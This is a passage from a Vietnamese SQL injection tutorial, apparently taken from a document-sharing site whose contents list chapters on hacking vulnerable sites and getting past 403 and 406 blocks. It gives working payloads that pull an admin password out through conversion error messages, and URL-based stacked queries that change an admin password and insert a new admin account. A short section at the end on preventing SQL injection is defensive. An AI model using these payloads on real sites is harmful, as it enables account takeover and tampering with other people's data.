SELECT TOP convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'-Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASSCII code '+' 0x2b) Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để tạo string numeric string '31173 morpheus' Khi hàm convert() gọi để chuyển '31173 morpheus' sang integer, SQL server phát lỗi ODBC error message sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int /index.asp, line Bây bạn login vào với username 'trinity' password '31173' 11) Update/insert data vào CSDL Khi bạn có tên tất column table, bạn UPDATE INSERT record vào table Để thay đổi password "neo", bạn làm sau: http://vịtcon/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'-Hoặc bạn muốn chèn record vào table: http://vịtcon/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')-Bây bạn login vào với username "neo2" password "newpas5" 12) Ngăn chặn SQL Injection Hãy loại bỏ kí tự meta '"/\; kí tự extend NULL, CR, LF, string nhận từ: - input người dùng đệ trình - tham số từ URL - giá trị từ cookie Đối với giá trị numeric, chuyển sang integer trước query SQL, dùng ISNUMERIC để chắn số integer Thay đổi "Startup and run SQL Server" dùng mức low privilege user tab SQL Server Security Xóa stored procedure mà bạn khơng dùng như: master Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Ngày đăng: 28/09/2020, 08:50

Từ khóa liên quan

Mục lục

  • I. Cách kiểm tra Website Lỗi SQL Cơ Bản

  • II. Hack Site Lỗi SQL Cơ Bản!

  • III. Hướng Dẫn Hack site lỗi SQL bị chặn xuất hiện “406 Not Acceptable “

  • IV. Hướng Dẫn hack Site lỗi 403 - 404 Forbidden.

  • V. Một Số Lưu Ý Khi Khai Thác SQL - Ducdung.08clc

  • VI. SQL injection (SQLi) Tutorial series part-1

  • VII. Tìm hiểu về SQL Injection

Tài liệu cùng người dùng

  • Đang cập nhật ...

Tài liệu liên quan